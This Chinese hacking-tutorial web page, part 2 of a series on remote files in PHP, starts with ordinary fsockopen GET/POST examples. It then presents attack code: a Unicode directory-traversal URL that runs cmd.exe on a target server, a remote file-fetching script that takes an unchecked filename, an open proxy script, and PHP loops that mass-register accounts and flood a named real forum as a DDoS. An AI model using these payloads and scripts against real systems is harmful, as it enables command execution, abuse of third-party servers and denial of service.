Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 在PHP中使用远程文件(2)
【标  题】:在PHP中使用远程文件(2)
【关键字】:远程,文件,PHP,HP,PHP
【来  源】:网络

在PHP中使用远程文件(2)

Your Ad Here 二、PHP中的POST&GET的应用

要使用PHP的POST&GET,可以运用fsockopen函数:

例子 1. fsockopen() Example

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
  echo "$errstr ($errno)<br />\n";
} else {
  $out = "GET / HTTP/1.1\r\n";
  $out .= "Host: example.com\r\n";
  $out .= "Connection: Close\r\n\r\n";

  fputs($fp, $out);
  while (!feof($fp)) {
    echo fgets($fp, 128);
  }
  fclose($fp);
}
?> 


例子 2. Using UDP connection

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
  echo "ERROR: $errno - $errstr<br />\n";
} else {
  fwrite($fp, "\n");
  echo fread($fp, 26);
  fclose($fp);
}
?> 

例子 3

<?php

//定义一些连接参数
$urls = array(
'host'=>'localhost',
'port'=>80,
'path'=>'/index.php',
'method'=>'POST',
'protocol'=>'1.0',
);

//POST方法传递的参数
$ps = array(
'language'=>'php',
'linux'=>'redhat',
);

//GET方法传递的参数
$gs = array(
'php'=>5,
'redhat'=>9
);

/**
返回:得到POST或GET方法后返回的字符串(string)
参数:
  $usls : string
  $ps : array
  $gs : array
调用方法:
  getData($urls,$ps,'') //使用POST方法
  getData($urls,'',$gs) //使用GET方法
参考资料:http://cn.php.net/manual/en/function.fsockopen.php
*/
function getData($urls,$ps='',$gs=''){
   $host = $urls['host'];
   $port = $urls['port'];
   $path = $urls['path'];
   $method = $urls['method'];
   $protocol = $urls['protocol'];
   $posts = '';
   $gets = '';

  if(is_array($ps)){
     foreach($ps as $k => $v){
      $posts .= urlencode($k)."=".urlencode($v).'&';
     }
     $posts = substr($posts,0,-1);
     $len = strlen($posts);
   }
   if(is_array($gs)){
     foreach($gs as $k => $v){
      $gets .= urlencode($k)."=".urlencode($v).'&';
     }
     $gets = substr($gets,0,-1);
   }

  $fp = fsockopen($host, $port,$errno,$errstr,3);
   if(!$fp){
    echo "can't connect...\r\n<br>Error:$errstr";
    return ;
   }
   fputs($fp, "$method $path?$gets HTTP/$protocol\r\n");
   fputs($fp, "Host: localhost\r\n");
   if($posts != ''){
     fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
     fputs($fp, "Content-Length: $len\r\n");
     fputs($fp, "\r\n");
     fputs($fp, $posts);
   }
   fputs($fp, "Connection: Close\r\n\r\n");
   $s = '';
   do{
    $data = fgets($fp,1024);
    if($data == '') {
      break;
    }
    $s .= $data;
   } while(true);
   fclose($fp);
   return $s;
}

//这里是使用POST方法取得目标网页返回的字符串
echo getData($urls,$ps,'');

//如果要使用GET方法就用如下方式:
echo getData($urls,'',$gs);
?> 

三、UNICODE漏洞攻击

代码:
<?php
$fp=@fopen($url,"r") or die ("cannot open $url");
while($line=@fgets($fp,1024)) {
$contents.=$line;
}
echo $contents; //显示文件内容
fclose($fp); //关闭文件
?>

使用:

/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir


四、WEB间文件转移:

该例子的代码引自PHP FLAME:

<?php
$fp = fopen($_GET['filename'], 'rb');
$data = $tmp = '';
while ( true ) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
break;
}
$data .= $tmp;
}
fclose($fp);
$file=preg_replace("/^.+\//","",$filename);
//write
$fp = fopen("$file", 'wb');
fwrite($fp, $data);
fclose($fp);
?>


五、HTTP代理(http://jsw.china12e.com/600/)

代码引自PHP FLAME:

<?
$url = getenv("QUERY_STRING");
if(!ereg("^http",$url))
{
echo "example:<br>xxx.php?http://jsw.china12e.com/<;br>";
exit;
}
if($url)
$url=str_replace("\\","/",$url);
$f=@fopen($url,"r");
$a="";
if($f)
{
while(!feof($f))
$a.=@fread($f,8000);
fclose($f);
}
$rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url);
$a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a);
echo $a;
?>


六:不可阻挡DDOS攻击
DDOS的一个例子
<?php
$url="http://bbs.icehack.com/register.php?step=2&addpassword=
aaaaaa&addpassword2=aaaaaa&addemail=asdfasd@dfsadsf.com&addusername=";
for($i=1131;$i<=1150;$i++)
{
$urls=$url.$i;
$f=@fopen($urls,"r");
$a=@fread($f,10);
fclose($f);
}
?>

运行后论坛将新增20个用户
(例子:http://bbs.icehack.com/userlist.php?page=827)

当把它用在论坛的搜索中时
DDOS攻击就实现了

以下的代码攻击INDEX.PHP文件,同时运行十个进程时,可能时论坛关闭
<?php
$url="http://bbs.icehack.com/index.php?addusername=";
for($i=1131;$i<=1180;$i++)
{
$urls=$url.$i;
$f=@fopen($urls,"r");
$a=@fread($f,10);
fclose($f);
}
?>


七、SQL INJECTION攻击,搜索引擎。。

永远的后门:【上一篇】
在PHP中使用远程文件(1):【下一篇】
【相关文章】
  • Linjection (My)SQL via PHP(1)
  • Linjection (My)SQL via PHP(2)
  • 远程文件包含漏洞的利用(1)
  • 远程文件包含漏洞的利用(2)
  • Foxmail5远程缓冲区溢出漏洞分析(1)
  • Foxmail5远程缓冲区溢出漏洞分析(2)
  • Foxmail5远程缓冲区溢出漏洞分析(3)
  • 使用C#控制远程计算机的服务(一) (1)
  • 使用C#控制远程计算机的服务(一) (2)
  • 一个操作本地或者远程主机服务的小程序
  • 【随机文章】
  • 在SQL Server2005中使用.Net代码
  • Microsoft.Net综述(3)
  • C++ 编程技巧
  • 用FW MX的变形工具制作大脚印图标
  • hibernate 直接使用 sql 语句
  • AutoCAD 2000设置技巧
  • Ethernet-PON安全技术分析
  • VC++学习:用SDK实现分隔条
  • Microsoft Project中的成本管理
  • Websharp——开源.Net应用系统框架
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.